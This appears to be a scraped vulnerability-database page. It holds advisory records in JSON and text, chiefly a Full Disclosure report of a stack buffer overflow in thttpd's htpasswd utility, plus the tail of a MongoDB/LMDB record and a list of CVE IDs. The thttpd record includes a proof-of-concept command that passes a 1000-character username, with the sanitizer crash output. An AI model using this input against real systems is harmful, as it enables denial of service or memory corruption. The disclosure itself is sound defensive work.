readline\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:42:56Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/5"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/5"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/5"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "MongoDB v8.3.0 Heap Buffer Underflow in OpenLDAP LMDB mdb_load",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2025-0005",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/5",
            "automated": true,
            "contentSha256": "ed64e6da863b4b30592a5d0c84a0f90b3685238143542327775f7db463fe0466",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/5",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2025-12-30T03:51:57Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-09T13:42:56Z",
    "dateUpdated": "2026-09-09T13:42:56Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2025-0005"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0315

Vulnerability from gna-1988 – Published: 2026-09-09 13:10 – Updated: 2026-09-09 13:10

Title

thttpd v2.26 Stack-Based Buffer Overflow in thttpd htpasswd Utility Allows Local Memory Corruption

Summary

*Description:* A stack-based buffer overflow vulnerability exists in the htpasswd utility bundled with thttpd. The vulnerability occurs due to unsafe copying of a user-supplied command-line argument into a fixed-size stack buffer without proper bounds checking.Specifically, the program copies the username argument (argv[2]) into a local stack buffer using strcpy(). If an attacker supplies an overly long username, this results in a stack buffer overflow, leading to memory corruption and a process crash. Under certain conditions, this may be exploitable for arbitrary code execution. *Affected Component:* - File: extras/htpasswd.c - Function: main - Vulnerable line: strcpy(user, argv[2]); *Affected Versions:* - thttpd prior to latest release (all known versions shipping extras/htpasswd.c with this logic) *Impact: * - Denial of Service - potential arbitrary code execution *Vulnerability Details:* The vulnerable buffer is defined as: #define MAX_STRING_LEN 256 char user[MAX_STRING_LEN]; *Proof of Concept (PoC):* *Output/Payload:* # ./htpasswd -c passwdfile testuser Adding password for testuser. New password: Re-type new password: ================================================================= ==173875==ERROR: LeakSanitizer: detected memory leaks Direct leak of 5 byte(s) in 1 object(s) allocated from: #0 0xffffaa4fa578 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67 #1 0xaaaade791c80 in strd /root/thttpd/extras/htpasswd.c:32 #2 0xaaaade792794 in add_password /root/thttpd/extras/htpasswd.c:122 #3 0xaaaade792ce4 in main /root/thttpd/extras/htpasswd.c:170 #4 0xffffaa1d2598 in __libc_start_call_main ../sysdeps/nptl /libc_start_call_main.h:58 #5 0xffffaa1d2678 in __libc_start_main_impl ../csu/libc-start.c:360 #6 0xaaaade791b6c in _start (/root/thttpd/extras/htpasswd+0x1b6c) (BuildId: 277fa93be8cbdf6cb9a0d89d15da163bf803f5a6) SUMMARY: AddressSanitizer: 5 byte(s) leaked in 1 allocation(s). root@ubuntu:~/thttpd/extras# ./htpasswd passwdfile $(python3 - << 'EOF' print("A" * 1000) EOF ) ================================================================= ==173879==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xfbffa1000120 at pc 0xffffa3214ff0 bp 0xfffff4000e10 sp 0xfffff40005f0 WRITE of size 1001 at 0xfbffa1000120 thread T0 #0 0xffffa3214fec in strcpy ../../../../src/libsanitizer/asan/asan_interceptors.cpp:568 #1 0xaaaad5172ee8 in main /root/thttpd/extras/htpasswd.c:187 #2 0xffffa2f42598 in __libc_start_call_main ../sysdeps/nptl /libc_start_call_main.h:58 #3 0xffffa2f42678 in __libc_start_main_impl ../csu/libc-start.c:360 #4 0xaaaad5171b6c in _start (/root/thttpd/extras/htpasswd+0x1b6c) (BuildId: 277fa93be8cbdf6cb9a0d89d15da163bf803f5a6) Address 0xfbffa1000120 is located in stack of thread T0 at offset 288 in frame #0 0xaaaad5172a30 in main /root/thttpd/extras/htpasswd.c:149 Ron Edgerson Vulnerability Researcher & Exploit Developer CVE Research | Binary Exploitation | Application & Systems Security Responsible Disclosure • Proof-of-Concept Development 🌐 https://github.com/ob1sec 🔗 https://www.linkedin.com/in/ronedgerson1 <https://linkedin.com/in/yourhandle> _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/

Severity

No CVSS data available.

Assigner

VULNARCHIVE GNA-1988

References

7 references

URL	Tags
https://vuln.freearchive.org/archive/full-disclos…	technical-descriptionexploit
https://seclists.org/fulldisclosure/2026/Sep/15	technical-description
https://github.com/ob1sec
https://linkedin.com/in/yourhandle
https://nmap.org/mailman/listinfo/fulldisclosure
https://seclists.org/fulldisclosure/
https://www.linkedin.com/in/ronedgerson1

Impacted products

1 product

Vendor	Product	Version
unknown	thttpd	Affected: unknown

Credits

Ron E

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "thttpd",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "*Description:*\nA stack-based buffer overflow vulnerability exists in the htpasswd utility\nbundled with thttpd. The vulnerability occurs due to unsafe copying of a\nuser-supplied command-line argument into a fixed-size stack buffer without\nproper bounds checking.Specifically, the program copies the username\nargument (argv[2]) into a local stack buffer using strcpy(). If an attacker\nsupplies an overly long username, this results in a stack buffer overflow,\nleading to memory corruption and a process crash. Under certain conditions,\nthis may be exploitable for arbitrary code execution.\n\n*Affected Component:*\n\n   - File: extras/htpasswd.c\n   - Function: main\n   - Vulnerable line: strcpy(user, argv[2]);\n\n\n*Affected Versions:*\n\n   - thttpd prior to latest release (all known versions shipping\n   extras/htpasswd.c with this logic)\n\n\n*Impact: *\n\n   - Denial of Service\n   - potential arbitrary code execution\n\n\n*Vulnerability Details:*\nThe vulnerable buffer is defined as:\n#define MAX_STRING_LEN 256\nchar user[MAX_STRING_LEN];\n\n*Proof of Concept (PoC):*\n*Output/Payload:*\n# ./htpasswd -c passwdfile testuser\nAdding password for testuser.\nNew password:\nRe-type new password:\n\n=================================================================\n==173875==ERROR: LeakSanitizer: detected memory leaks\n\nDirect leak of 5 byte(s) in 1 object(s) allocated from:\n    #0 0xffffaa4fa578 in malloc\n../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67\n    #1 0xaaaade791c80 in strd /root/thttpd/extras/htpasswd.c:32\n    #2 0xaaaade792794 in add_password /root/thttpd/extras/htpasswd.c:122\n    #3 0xaaaade792ce4 in main /root/thttpd/extras/htpasswd.c:170\n    #4 0xffffaa1d2598 in __libc_start_call_main ../sysdeps/nptl\n/libc_start_call_main.h:58\n    #5 0xffffaa1d2678 in __libc_start_main_impl ../csu/libc-start.c:360\n    #6 0xaaaade791b6c in _start (/root/thttpd/extras/htpasswd+0x1b6c)\n(BuildId: 277fa93be8cbdf6cb9a0d89d15da163bf803f5a6)\n\nSUMMARY: AddressSanitizer: 5 byte(s) leaked in 1 allocation(s).\nroot@ubuntu:~/thttpd/extras# ./htpasswd passwdfile $(python3 - \u003c\u003c \u0027EOF\u0027\nprint(\"A\" * 1000)\nEOF\n)\n=================================================================\n==173879==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbffa1000120 at pc 0xffffa3214ff0 bp 0xfffff4000e10 sp 0xfffff40005f0\nWRITE of size 1001 at 0xfbffa1000120 thread T0\n    #0 0xffffa3214fec in strcpy\n../../../../src/libsanitizer/asan/asan_interceptors.cpp:568\n    #1 0xaaaad5172ee8 in main /root/thttpd/extras/htpasswd.c:187\n    #2 0xffffa2f42598 in __libc_start_call_main ../sysdeps/nptl\n/libc_start_call_main.h:58\n    #3 0xffffa2f42678 in __libc_start_main_impl ../csu/libc-start.c:360\n    #4 0xaaaad5171b6c in _start (/root/thttpd/extras/htpasswd+0x1b6c)\n(BuildId: 277fa93be8cbdf6cb9a0d89d15da163bf803f5a6)\n\nAddress 0xfbffa1000120 is located in stack of thread T0 at offset 288 in\nframe\n    #0 0xaaaad5172a30 in main /root/thttpd/extras/htpasswd.c:149\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:10:29Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/15"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/15"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/15"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "thttpd v2.26 Stack-Based Buffer Overflow in thttpd htpasswd Utility Allows Local Memory Corruption",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0315",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/15",
            "automated": true,
            "contentSha256": "6a462e368dd5a48691eb4592372e18f5441b4cd8b5961383b7ab1e5f286d49f0",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/15",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-30T23:48:25Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-09T13:10:29Z",
    "dateUpdated": "2026-09-09T13:10:29Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0315"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Find a vulnerability

Search criteria

10407 vulnerabilities by UNKNOWN

CVE-2026-82925 (GCVE-0-2026-82925)

CVE-2026-81431 (GCVE-0-2026-81431)

CVE-2026-78361 (GCVE-0-2026-78361)

CVE-2026-77771 (GCVE-0-2026-77771)

CVE-2026-77770 (GCVE-0-2026-77770)

CVE-2026-19840 (GCVE-0-2026-19840)

CVE-2026-19439 (GCVE-0-2026-19439)

CVE-2026-19436 (GCVE-0-2026-19436)

CVE-2026-85117 (GCVE-0-2026-85117)

CVE-2026-83537 (GCVE-0-2026-83537)

CVE-2026-80440 (GCVE-0-2026-80440)

CVE-2026-19855 (GCVE-0-2026-19855)

CVE-2026-85418 (GCVE-0-2026-85418)

CVE-2026-82925 (GCVE-0-2026-82925)

CVE-2026-81431 (GCVE-0-2026-81431)

CVE-2026-78361 (GCVE-0-2026-78361)

CVE-2026-77771 (GCVE-0-2026-77771)

CVE-2026-77770 (GCVE-0-2026-77770)

CVE-2026-19840 (GCVE-0-2026-19840)

CVE-2026-19439 (GCVE-0-2026-19439)

CVE-2026-19436 (GCVE-0-2026-19436)

CVE-2026-85117 (GCVE-0-2026-85117)

CVE-2026-83537 (GCVE-0-2026-83537)

CVE-2026-80440 (GCVE-0-2026-80440)

CVE-2026-19855 (GCVE-0-2026-19855)

GCVE-1988-2026-0317

GCVE-1988-2026-0318

GCVE-1988-2026-0316

GCVE-1988-2025-0005

GCVE-1988-2026-0315